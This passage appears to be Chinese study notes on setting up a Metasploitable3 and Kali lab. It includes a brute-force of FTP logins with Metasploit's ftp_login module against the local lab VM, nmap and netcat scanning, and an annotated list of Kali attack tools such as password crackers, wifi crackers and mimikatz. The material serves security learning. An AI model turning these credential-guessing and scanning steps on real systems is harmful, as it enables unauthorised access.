DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST false no Record anonymous/guest logins to the database
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 21 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts

  • 设置好了RHOSTS
1
msf6 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.56.102
  • 设置线程数
1
msf6 auxiliary(scanner/ftp/ftp_login) >  set THREADS 14
  • 设置用户名和密码文件,这里的用户和密码是metasploit自带的,我最后加了个用户名和密码(vagrant)
1
msf6 auxiliary(scanner/ftp/ftp_login) >set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
  • 输入show options查看配置情况

image-20220224171745170

  • 直接运行
1
msf6 auxiliary(scanner/ftp/ftp_login) > run
  • 发现登录成功

image-20220224171936577

auxiliary/scanner/ftp/ftp_version

测试结论

测试失败,网上很多都是基于这个模块拿到root权限,失败原因分析:

  • msf版本不一致,我的是msf6最新版本,其他人的版本比我旧
  • 靶场系统不一致,有的人的靶场是linux,而我的靶场为window 2008 r2

开始演练

1
2
3
4
5
6
7
8
9
msf6 auxiliary(scanner/ftp/easy_file_sharing_ftp) > use auxiliary/scanner/ftp/ftp_version  
msf6 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf6 auxiliary(scanner/ftp/ftp_version) > run

[+] 192.168.56.102:21 - FTP Banner: '220 Microsoft FTP Service\x0d\x0a'
[*] 192.168.56.102:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

  • run时并没有扫描出来ftp的版本信息
  • 我看其这个人博客写到

image-20220224173453358

  • 然后他用下面的后门模块最终拿到root

image-20220224173619958

说明

  • 为了练习使用Metasploit,本篇主要介绍如何搭建靶场Metasploitable3
  • 本机为win10,网络为无线网络,cpu为i5,内存为8G
  • 本次装的靶场环境是windows_2008_r2,ubuntu_1404系统没有装

开始搭建

  • packer我们不需要
  • 打开vagrant下载最新的版本,安装后要重启电脑
  • 安装vagren插件
1
2
3
4
5
6
E:\app>cd Vagrant

E:\app\Vagrant>vagrant plugin install vagrant-reload
Installing the 'vagrant-reload' plugin. This can take a few minutes...
Fetching vagrant-reload-0.0.1.gem
Installed the plugin 'vagrant-reload (0.0.1)'!

image-20220223144417638

重命名修改为:metasploitable3-win2k8.box

  • 打开powershell,执行脚本
1
2
3
4
5
6
7
8
9
10
11
mkdir metasploitable3-workspace
cd metasploitable3-workspace

PS E:\app\metasploitable3-workspace> vagrant box add rapid7/metasploitable3-win2k8 d:\exe\metasploitable3-win2k8.box
==> box: Box file was not detected as metadata. Adding it directly...
==> box: Adding box 'rapid7/metasploitable3-win2k8' (v0) for provider:
box: Unpacking necessary files from: file:///d:/exe/metasploitable3-win2k8.box
box:
==> box: Successfully added box 'rapid7/metasploitable3-win2k8' (v0) for 'virtualbox'!
PS E:\app\metasploitable3-workspace>

  • 最终生成的文件目录:C:\Users\Admin.vagrant.d\boxes\rapid7-VAGRANTSLASH-metasploitable3-win2k8\0\virtualbox

image-20220223145644884

  • 复制数据元文件C:\Users\Admin\.vagrant.d\boxes\rapid7-VAGRANTSLASH-metasploitable3-win2k8\0\virtualbox\metadata.jsonC:\Users\Admin\.vagrant.d\boxes\rapid7-VAGRANTSLASH-metasploitable3-win2k8目录下

image-20220223145847948

  • 开始创建Metasploitable3 虚拟机,如果有发现Vagrantfile文件,先将它删除或者移到其他地方去,随后,调出命令行,输入命令vagrant init rapid7/metasploitable3-win2k8
1
2
3
4
5
PS C:\Users\Admin\.vagrant.d\boxes\rapid7-VAGRANTSLASH-metasploitable3-win2k8\0\virtualbox> vagrant init rapid7/metasploitable3-win2k8
A `Vagrantfile` has been placed in this directory. You are now
ready to `vagrant up` your first virtual environment! Please read
the comments in the Vagrantfile as well as documentation on
`vagrantup.com` for more information on using Vagrant.

然后执行下面命令,可能出现超时,我出现了一次,然后开了个代理重试了下(不知大是否可这个有关)

1
vagrant up

打开虚拟机

image-20220223151549011

输入默认密码:vagrant

image-20220223151748473

登录后网络也是没有问题

image-20220223151916993

  • 启动两个虚拟机(一个是kail攻击机,一个是win 2008 靶场),电脑cpu直接爆满,我把靶场内存调整为了2G

image-20220223154329578

部署网络

  • 部署好网络,把攻击机和靶机的通信网络设置的一样

  • 首先,把攻击机和靶机全部关机,然后在Oracle VM VirtualBox管理器中,点击管理——全局设定——网络,创建一个NAT网络,名字可以随意起。

    image-20220224104741466

    image-20220224104800241

  • 在两个虚拟机中分别部署好网络,以刚刚安装好的靶机为例,选择该虚拟机——设置——网络,将网卡1~4全部打上勾启动网络连接,并在这四个网卡的页面中各自选择连接方式,分别为:仅主机(Host-Only)网络、内部网络、NAT网络、桥接网卡,顺序可以自由安排。对于另一个虚拟机,同样也是如上设置。四个网卡的配置如下四图:

image-20220224104852965

image-20220224104914609

image-20220224104934036

image-20220224104956186

  • 这时候,两个虚拟机都已经部署完毕了,可以同时启动

  • 启动靶场window 2008 打开cmd,ping下,发现网络是通的

image-20220224105225893

  • 查看下IP,注意经过测试只有第一个ip:192.168.56.102在攻击机上,才能被访问和nmap扫描到端口

image-20220224105339740

  • 打开攻击机kali,在浏览器中输入:192.168.56.102

image-20220224105545840

  • 用攻击机nmap扫描端口测试下nmap -sV 192.168.56.102

image-20220224105733663

image-20220223162222020

各个版本介绍

描述 Metasploit Framework Metasploit Community Metasploit Express Metasploit Pro
Pricing
License 无IP限制 Free Free 收费 收费
用户界面
Web界面 提供友好的web界面,大大提高效率,减少对技术培训的依赖 N Y Y Y
命令行界面 .命令行界面 Y N N Y
专业控制台 高级命令行功能,通过专业控制台可以使用新的更高一级的命令,更好的管理数据,整体提高效率。 N N N Y
渗透测试
全面的exp覆盖 Metasploit拥有世界上最大的高质量公开攻击库 Y Y Y Y
手工渗透 针对一台主机发动一个单一攻击 Y Y Y Y
基本渗透 针对任意数量的主机发动一个单一攻击 N Y Y Y
智能渗透 自动选择所有匹配的exp,进行最安全可靠的攻击测试。支持dry-run模式在发动攻击前可以清楚哪些exp会运行。 N N Y Y
渗透链 自动组织攻击和辅助模块,例如针对思科路由器 N N N Y
证据收集 一键收集攻陷主机的证据,包括截屏、密码、哈希值、系统信息等等 N N Y Y
后渗透 .成功攻陷一台主机后自动发动定制的后渗透模块 N N N Y
会话保持 连接断开后可以自动生重新连接,例如一个被钓鱼的用户关闭了自己的笔记本电脑,重新开机后会自动建立连接 N N N Y
密码暴力猜测 快捷试验最常用的或之前捕获到的密码。如果是弱密码或pass-the-hash攻击方式,哈希值可以被自动破解。 N N Y Y
社会工程学 模拟钓鱼攻击。创建带有恶意文件的U盘来攻击一台机器。 N N N Y
Web应用测试 扫描、审计和攻击Web应用的漏洞,如OWASP Top10。 N N N Y
IDS/IPS 绕过 绕过IDS/IPS的检测 N N N Y
免杀 使用动态载荷绕过反病毒系统,不需要浪费时间自己编写动态载荷 N N N Y
载荷生成器 通过快捷界面生成独立的优秀载荷 N N N Y
代理跳板 通过一个攻陷的主机针对另一外目标发动一个攻击 Y Y Y Y
VPN跳板 通过一台被攻陷的主机建立一个2层的网络连接通道,使您可以使用基于网络的工具,例如漏洞扫描器来得到更多的信息,以供进一步再使用更高级的技术 N N N Y
报表
基本报表 生成基本的渗透测试报表,包括审计报告和被攻陷主机报告 N N Y Y
高级报表 生成各种报表包括Web应用测试报表、社会工程学模拟报表以及种种合规报表如PCI N N N Y
效率增强
快速开始向导 执行基线渗透测试找到容易的目标、Web应用测试或模拟钓鱼攻击。通过向导可以快速入门并在向导完成后有更入的了解 N N N Y
MetaModules MetaModules 可 以为IT安全专家简化实施安全测试。许多安全测试技术要么基于繁琐的工具要么需要定制开发,需要花费大量的时间。为了加快这样的测 试,MetaModules 把常见但复杂的安全测试自动化,从而给人力不足的安全部门提供一个更有效的办法来完成工作。 MetaModules 包括网络分段操作和防火墙测试、被动网络发现、凭证测试和入侵等。 N N N Y
发现式扫描 利用集成的NMAP扫描器配合高级指纹技术描绘出整个网络,并识别网络中的设备 N Y Y Y
脚本重放 生成脚本再现攻击,从而可以测试补救工作是否有效 N N Y Y
数据管理 在可检索的数据库中跟踪所有被发现的数据。在分组视图中找出异常值。 N Y Y Y
标记 通过标记主机可以把主机分配给某人、标记为一个导入源、标记项目范围、或标记高价值目标。今后可以通过标记找到对应的主机。 N N N Y
任务链 创建定制的工作流 N N N Y
专业API 使用高级的完全文件化的API可以把Metasploit Pro集成到SIEM和GRC系统中或实现定制自动化和集成 N N N Y
集成 开箱即用的SIEM和GRC集成 N N N Y
团队协作 和多个队员共同协作同一个项目,分割工作量,利用不同层次的专家经验。共享所有信息燕生成一个统一报告 。 N N N Y
Security Programs
闭环风险验证 验证漏洞和错误配置,从而可以对风险进行等级划分,并且可以把结果推回到Nexpose N N N Y
模拟钓鱼攻击 发送模拟钓鱼邮件来衡量用户的安全意识,包括多少人点击了邮件中的链接或在一个伪造的登录页面输入了登录凭证,并可以对具有危险行为的用户进行培训 N N N Y
漏洞验证
漏洞导入 从Nexpose和第三方漏洞扫描系统中导入输出文件 Y Y Y Y
Web漏洞导入 从各种第三方Web应用扫描器中改入输出文件 N N Y Y
Nexpose扫描 在界面上直接启动一个Nexpose扫描。结果自动导入到Metasploit N Y Y Y
直接导入 把现有的nexpose扫描结果直接导入 N N N Y
漏洞例外 验证后把漏洞例外推回到Nexpose,包括评论和例外时限。 N N Y Y
闭环集成 标记并推送可以攻击的漏洞到Nexpose N N N Y
re-run Session 重新运行一次攻击来验证一项补救措施的效果,例如补丁是否起作用 N N Y Y
支持
社区支持 在Rapid7社区中得到支持 Y Y Y Y
Rapid7 支持 7X24小时电子邮件和电话支持 N N Y Y

启动Metasploit

安装好kali系统后,可以参考我这篇文章介绍了如何在虚拟机中装kali,当前kali版本为:

1
2
uname -a
Linux kali 5.14.0-kali4-amd64 #1 SMP Debian 5.14.16-1kali1 (2021-11-05) x86_64 GNU/Linux

kali默认装的是 Metasploit Framework

image-20220221153516843

打开后,出现下面的提示信息,默认进入的其实就是msfconsole

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
...
=[ metasploit v6.1.14-dev ]
+ -- --=[ 2180 exploits - 1155 auxiliary - 399 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: You can use help to view all
available commands

msf6 >

  • 其中Metasploit版本为v6.1.14-dev

  • 模块种类及其个数:2180个exploits、1155个auxiliary、399个post592个payloads、45个encoders、10个nops、9个evasion

  • Metasploit 用的是ruby开发的,以后自定义一些东西也要用ruby

  • Metasploit安装的文件路径如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ pwd
/usr/share/metasploit-framework/modules

┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ ll
total 28
drwxr-xr-x 22 root root 4096 Dec 20 01:18 auxiliary
drwxr-xr-x 12 root root 4096 Dec 20 01:18 encoders
drwxr-xr-x 3 root root 4096 Dec 20 01:18 evasion
drwxr-xr-x 22 root root 4096 Dec 20 01:18 exploits
drwxr-xr-x 11 root root 4096 Dec 20 01:18 nops
drwxr-xr-x 5 root root 4096 Dec 20 01:18 payloads
drwxr-xr-x 14 root root 4096 Dec 20 01:18 post

msfconsole介绍

  • Msfcli在新版本已经不支持了,用msfconsole代替
  • 它是访问Metasploit中大部分功能的唯一支持方式

模块介绍

  • 漏洞渗透模块(exploits):发现了目标的漏洞之后,在Metasploit找到相应的漏洞渗透模块,就可以对目标进行入侵

  • 攻击载荷模块(payload):可以帮助我们在目标上完成远程控制操作。通常这些模块既可以单独执行,也可以和漏洞渗透模块一起执行(前面文章介绍过远程控制操作了)

  • 辅助模块(auxiliary):进行信息收集的模块。例如一些信息侦查、网络扫描类的工具

  • 后渗透攻击模块(post):当我们成功地取得目标的控制权之后,就是这些模块大显身手的时候,它可以帮助我们提高控制权限、手机敏感信息、实施调班攻击等

  • 编码器模块(encoders):将攻击载荷进行编码(类似与加密),让避免操作系统和杀毒软件辨认出来但是会让载荷的体积变大,这个时候需要选择传输器和传输体配对成的攻击载荷来下载目标载荷并且运行。

  • 反杀毒软件木马模块(evasion):这个模块可以轻松的创建反杀毒软件的木马

关键字help

输入help可以查看Metasploit提供的命令和对应的描述。命令一共分为以下几类:

  • 核心命令:Core Commands
  • 模块命令:Module Commands
  • 任务命令:Job Commands
  • 资源命令:Resourve Script Commands
  • 数据库后台命令:Database Backend Commands
  • 登录凭证后台命令:Credentials backend Commands
  • 开发商命令:Developer Commands
    image-20220221161642849

关键字Show

查看可以使用的模块:show 模块命

image-20220221161947112

关键字search

  • Metasploit提供了大量的模块。当用户希望快速找到针对某漏洞模块时,则可以使用search命令进行搜索。搜索模块时,用户可以指定搜索类型、CVE ID、发布时间等,如search cve:2009 type:exploit。为了方便用户搜索模块,可以使用help search命令查看所有支持的过滤器。
  • CVE ,全称为通用漏洞披露
    • CVSS评分标准: 漏洞的最终得分最大为10,最小为0。得分7~10的漏洞通常被认为比较严重,得分在4~6.9之间的是中级漏洞,0~3.9的则是低级漏洞。

image-20220221162210899

更多命令的使用请参考这里

什么是kail

  • Kali是基于Debian的Linux发行版操作系统,一开始是由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成,用来进行数字取证。

  • 而且它拥有超过300个渗透测试工具,拥有开源Git树等,甚至还集成了600多种黑客工具,完全可以想象到它的强大性。此外大家还可以永久免费使用Kali操作系统!

安装

  • 打开官网,选择需要的镜像文件

  • 我下载的是VirtualBox的版本

image-20220218163325420

打开VirtualBox,点击导入

image-20220218163747664

选择下载的文件

image-20220218163824124

点击导入

image-20220218163910423

有个弹框,点击同意,然后等待中

image-20220218163946035

然后点击启动

image-20220218164250304

  • 打开后要输入默认用户名和密码:kali

  • ping下,网络已经通了

image-20220218164752238

常用工具

Nmap

  • Nmap(网络映射器)是一款用于网络发现和安全审计的网络安全工具.

  • 核心功能: 主机发现,端口扫描,版本侦测,操作系统侦测,防火墙/IDS规避和哄骗

1
2
3
4
5
6
7
8
9
10
ping扫描: nmap -sT -v target_ip

快速端口扫描:nmap -F -v target_ip

版本扫描: nmap -sV -v target_ip

操作系统扫描:nmap -O -v target_ip
TCP扫描:
nmap -sT target_ip
nmap -sS target_ip

NETCAT-NC(瑞士军刀)

在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小)、功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。

获取banner模式

  • Banner信息:欢迎语,在Banner信息中可以的到软件开发商、软件名称、版本、服务类型等信息,通过这些信息可以使用某些工具,直接去使用相对应的EXP去攻击

  • 前提条件:需要和目标建立连接,只有建立了链接,才能获取对应的Banner信息

  • 注:目标服务器上可能对Banner信息进行了隐藏或禁止读取

1
2
3
4
5
6
7
# 一开始可以用nmap扫描到端口
nmap -sT target_ip
# 然后用nc获取到这些端口信息
nc -vn ip 110(POP3服务器的110端口)

nc -nv ip 25(SMTP服务器的25端口)

传输文本信息

服务器:nc -l -p 端口号

客户端:nc -nv 服务器的ip 端口号

有兴趣可以参考这里更多实例

Metasploit

当然最重要的工具之一就是自带Metasploit,后续文章有单据介绍

更多工具库

名称 类型 使用模式 功能 功能评价
dmitry 信息收集 whois查询/子域名收集/端口扫描 whois并不简单明了;子域名和邮箱依赖google;端口扫描速度一般
dnmap 信息收集 用于组建分布式nmap,dnmap_server为服务端;dnmap_client为客户端 用起来并不是那么方便,不是实在不行不是很必要
ike-scan 信息收集 收集ipsec vpn server指纹信息 好像用于攻击vpn,不太懂
maltegoce 信息收集 gui 域名/账号等关联性收集展示 关联性展示功能确实很好,但效果可能没有那么理想,特别是对国内而言
netdiscover 信息收集 主动发出arp包和截获arp包 就arp探测功能就此功能本身而言做得算很好了
nmap 信息收集 cmd-line 端口服务探测和端口漏洞扫描 端口扫描集大成者
p0f 信息收集 cmd-line 监听网卡收发的数据包,从数据包中读取远端机器操作系统服务版本等信息 毕竟只是截取数据 包中的版本信息,效果期望不要很大
regon-ng 信息收集 shell 模仿msf的信息侦查框架 类似将站长工具等东西命令行化,想法挺好但是用起来感觉不是那么直观
sparta 暴力破解 gui 图形版的hydra,加了端口服务扫描功能 还行图形界面聊胜于无
zenmap 信息收集 gui 图形界面版的nmap 还行图形界面聊胜于无
golismero web扫描 cmd-line 就是一个文本版的类似awvs的web扫描器 感觉可以提升对扫描器原理的认识
lynis 系统审计 感觉有点像360首页的“立即体验”,不过只是扫描告警不能一键修复 shell脚本写成颇为有趣
nikto web扫描 中间件扫描器,扫描tomcat等中间件的错误配置、存在漏洞等 就喜欢这种直接告漏洞的扫描器(不过事实上很少能有可用的漏洞)
unix-privesc-check 系统审计 审计系统中的关键文件权限是否有异常 还是没有总结性展示和修复功能
bed 系统扫描 通过发送各种模糊数据测试多种服务的缓冲区溢出漏洞的工具 可能还不错
burpsuite web代理 常用web代理截包工具 功能强大不能要求更多
commix 注入检测 sqlmap检测sql注入此工具检测系统命令注入 两相搭配那注入基本覆盖了
httrack 网站克隆 将网站克隆到本地 钓鱼乌云等可能有用
owasp-zap web代理 gui owasp组织开发的工具 和burpsuite相比弱化了截包功能,强化了web漏洞扫描功能,不过感觉也没扫出什么东西
paros web扫描 gui 一个web爬行和漏扫工具 和owasp-zap差不多
skipfish web扫描 cmd-line 一个全自动化的web漏洞扫描工具 其工作一是爬行网站页面,然后分析页面漏洞,最后生html报告
sqlmap sql注入扫描 cmd-line 一个强大的sql注入扫描工具
w3af web扫描 shell/gui 一个web漏洞扫描框架 所谓框架就是有一堆扫描模块,然后你选定其中一些模块去扫描网站;感觉一般没说的那么好
webscarab http代理 gui 更专业的网站树型结构分析工具
wpscan web扫描 针对wordpress的漏洞扫描工具
bbqsql 盲注扫描 shell 一个高度可配置的交互式的sql盲注工具
hexorbase 数据库管理 gui 一个支持多种数据库的客户端有多个数据库的口令破解功能 作为客户端只能将就着用。暴破口令需要自己准备字典
jsql 数据库探测 gui 根据url探测数据库类型/参数注入测试/探测后台页而/探测重要文件
mdb-sql 数据库管理 cmd-line 可用来连接access数据库文件(mdb)然后通过sql语句查询数据
oscaner 数据库猜解 cmd-line 用字典探查oracle数据库是否监听及猜解服务名 参数很少。测试sid和默认用户是可以的,默认的字典基本没法看还是得自己写字典
sidguesser 数据库猜解 cmd-line 用字典探测oracle数据库存在的sid 参数很少。测试验证如果字典里有sid,可以探测出sid。基于字典的工具还是得自己准备字典
sqllite database 数据库管理 gui sqlite数据库客户端
sqlinja 数据库猜解 cmd-line 用于猜解ms sql
sqlsus sql注入检测 cmd-line 用于mysql的盲注检测
tnscmd10g 数据库探测 cmd-line 用于探测oracle是否监听及其他一些信息
cewl 口令文件制作 cmd-line 爬取给定的URL并依据限制条件截取网页中的单词生成口令集合 这种想法是可取的。但有点遗憾只是截取网页中的单词,没有a转@等等智能变换
crunch 口令文件制作 cmd-line 依据限定的条件生成口令集合
hashcat hash爆破 cmd-line 多种hash的爆力猜解工具,速度快所耗CPU小(相对)
john 系统口令破解 cmd-line 用于对系统口令文件的破解(如/etc/passwd)还原出密码明文
johnny 系统口令破解 gui john的gui版本
medusa 口令猜解 cmd-line 可对IMAP, rlogin, SSH等进行口令猜解,类似hydra
ncrack 口令猜解 cmd-line 可对IMAP, rlogin, SSH等进行口令猜解,类似hydra
ophcrack 系统口令破解 gui 基于彩虹表的windows口令破解工具
pyrit wifi破解 cmd-line WPA/WPA2加密的wifi的密码破解工具
rainbowcrack hash破解 cmd-line 具有彩虹表的生成、排序和使用排序好换彩虹表进行破解的功能
rcracki_mt hash破解 cmd-line 基于彩虹表的hash破解工具,可能蚲rainbowcrack一部份
wordlist 口令文件 cmd-line 打印kali自带的一些口令文件存放的位置
aircrack-ng wifi破解 cmd-line 针对WEP、 WPA加密方式的wifi密码破解套件
chirp 无线电拦截 gui 各种无线电数据包的拦截工具(?)
cowpatty wifi破解 cmd-line 基于已捕获握手包和密码字典的WPA-PSK加密的wifi密码的猜解 不能自己拦截数据包也只能破解WPA-PSK类加密方式功能有点弱
Fern WIFI Cracker wifi破解 gui 基于字典的WEP和WPA加密的wifi破解工具 能自动发现wifi能拦截数据包,图形界面操作,简单易用
Ghost Phiser AP假冒 gui 能发现AP并使与AP连接的设备断开连接然后假冒AP让设备重新连接 图形界面除了AP外还有假冒DNS、http服务器等,较为好用
giskismet 可视化 gui Kismet输出结果的可视化工具,即较成text、html等各种格式
kismet AP发现 shell 交互式的AP发现工具,列出周围AP的各种信息
MDK3 AP扰乱 cmd-line 可向AP发送大量连接、断开请求,可向周围设备告知存在根本不存在的大量AP 这工具的攻击方法简直是发了疯
mfor IC卡破解 cmd-line IC卡密钥破解程序 各种免费吃饭充钱教程里用的工具你想不想学
mfterm IC卡破解 shell 交互式IC卡文件写入工具 要修改卡内数据才是最终的IC卡破解
pixiewps wifi破解 cmd-line 针对开启WPS的wifi利用WPS随机数生成中的bug来破解 有说很快有说成功率比较低
reaver wifi破解 cmd-line 针对开启WPS的wifi进行暴力破解的工具 aircrack-ng后排名第二的wifi破解工具
wifite wifi破解 cmd-line 较为自动化的wifi破解工具
apktool 安卓逆向 cmd-line 从apk文件中还原出xml和图版等资源文件
clang 编译器 cmd-line 类似gcc的编译器,更轻量,可编译c、c++、Objective-C
clang++ 编译器 cmd-line C++编译器,与clang的关系类似gcc和g++的类系
dex2jar 安卓逆向 cmd-line apktool把apk还原成了资源文件和dex,dex2jar把dex还原成jar文件(.class)
edb-debug 动态调试 gui 软件逆向动态调试工具 Linux版Ollydbg
flashm 反汇编 cmd-line .swf文件的反汇编工具可反汇编出.swf中的脚本代码
jad 反编译 cmd-line dex2jar把文件还原成了.class,jad进一步把文件还原成.java文件
javasnoop fuzz gui java程序漏洞评估工具
nasm shell 汇编 shell nasm是32位汇编编译器,这是一个nasm的shell
ollydbg 动态调试 gui windows平台大名鼎鼎的动态调试工具,Linux上是通过wine运行有点水土不服
radare2 静态分析 cmd-line 类似ida的静态反汇编分析工具,功能强大,开源 但是命令行操作这难度有点大
armitage 漏洞利用 gui measploit的gui界面 嗯好像是比原来的msf-gui好点,不过叫人自己去启动msf还要登录,还是不用算了
beef 漏洞利用 cmd-line 利用msf的exp结合xss构造有攻击性的html页面,当浏览器访问即会受到攻击并获取shell 这可以啊,不过不懂对现在浏览器效果怎么样
metasploit 漏洞利用 shell 就是启动msfconsole咯
msf payload center 漏洞利用 cmd-line 生成包含exp的windows/android等各平台的可执行文件,木马制作利器 那这东西和msfvenom的区别是什么
searchsploit 漏洞利用 cmd-line 用于搜索已从exploitdb下载到本地的漏洞利用脚本 可以理解msf都是ruby写的可执行代码,exploit不一定用ruby写,也可能只是扫描述而非代码
Social-Engineering 漏洞利用 shell 一般用于生成各种插入了exp的文件,诱使目标打开而中招 社会工程学总说得很厉害,不过我总觉得社会工程学和DDOS就是最名不副实的
termineter 漏洞利用 shell 智能电表攻击框架 这需要硬件搭配吧,没玩过
bdfproxy 中间人攻击 处于中间人身份时可对经过的流量插入payload
driftnet 图版嗅探 cmd-line 用于嗅探流量中的图版并展示到x-window上 配上arp欺骗作为中间人才能发挥威力,自己拦自己的就好玩而已
ettercap 流量拦截 gui 听说可以截持同子网的流量,强无敌,原理是什么
hampster 代理 cmd-line 好像也是代理转发流量的
macchanger mac欺骗 cmd-line 修改本机上网时的mac地址,一用作身份隐藏,二可用来绕过wifi mac黑名单 应该只是软修改mac地址不可能可写吧
mitmproxy 代理 cmd-line 好像也是代理转发流量的 感觉没什么特色啊
netsniff-ng 流量捕获 cmd-line 高性能的流量捕获套件,可能大流量时的捕获效果比较稳定
responder 主机嗅探 cmd-line 被动嗅探与所在主机交互的主机的操作系统版本等信息
wireshark 流量捕获 gui 拦截经过指定网卡的所有流量 sectools常年排行第一的工具,这就不用多说了吧
backdoor
exe2hex 编码转换 cmd 顾名思义就是把exe文件转成十六进制文件 不过这样的意义是什么,不是以十六进制就能打开了吗
Intersect 脚本生成 shell 感觉是SQL 有攻击性Intersect语句的生成工具
mimikatz 密码提取 cmd-line 用于从windows内存中提取密码
nishang 后渗透 cmd-line 基于powershell的后渗透攻击工具
PowerSploit 后渗透 cmd-line 也是一个基于powershell的后渗透攻击工具
proxychains 多重代理 cmd-line 好像用来配置多种代理的
weevely webshell shell webshell连接工具不过好像要用自己生成的小马
autopsy 网页分析 web 启动一个服务通过浏览器访问使用,感觉是分析网页各种元素的不是很懂
binwalk 文件识别 cmd-line 用于分析一个文件中是否其实有多个文件 ctf的key文件提取就常用到的
bulk_extractor 要素提取 cmd-line 扫描给定的目录或文件,如果发现一些如电话号码网址等关键的信息则输出到文件
chkrootkit 系统检查 cmd-line 扫描本机,查看本机是否存在受rootkit影响的地方 理解成360的木马查杀也差不多
foremost 文件恢复 cmd-line 文件恢复工具,用于被删除的文件的恢复,就是360等的那个文件恢复功能
galleta cookie文件 cmd-line 用于分析IE的cookie文件输出其中的有用信息
hashdeep hash计算 cmd-line 用于计算文件hash值,支持多种散列算法
volafox 内存分析 cmd-line 针对Mac OS X的内存分析工具,可从其内存镜像中读取进程列表等各种主机信息 先用工具把当前内存抓取下来,然后再用来分析;内存数据容易被破坏所以这确实很有意义
volatility 内存分析 cmd-line volafox的扩展,支持Mac OS X/Linux/Windows
casefile 报告编写 gui 一个画图工具,packet tracer用来画网络拓扑,这用来画场景拓扑 这写出高大上的报告啊
cutycapt 网页截屏 cmd-line 一个基于WebKit内核的网页截图工具,就是指定一个url它就能用解析url并把url界面截下来 各种扫描器中的截图就是使用类似的工具完成的,并不会真用个浏览器访问再截图下来
dradis 报告生成 web 可解析burpsuite/nmap等生成的扫描文件,并可将扫描结果转存为pdf或html
faraday IDE 报告管理 gui
keepnote 笔记本 gui 较之记事本,可建文件夹,支持富文本,可导出为其他格式
magictree 报告管理 gui
pipal 词频统计 cmd-line 说词频统计并不是很准确,文命令可分析统计给定文件中的词语的“各种最
recordmydesktop 屏幕录制 cmd-line 屏幕录制,输出.ogv格式视频 不过感觉这视频格式占用磁盘有点大啊
maltegoce 关系分析 gui 通过网络搜索,获取某个IP或邮箱与其他IP或邮箱的拓扑关系 这东西有那么强,但社工的东西还是没那么强,而且还是外国的工具在天朝的网络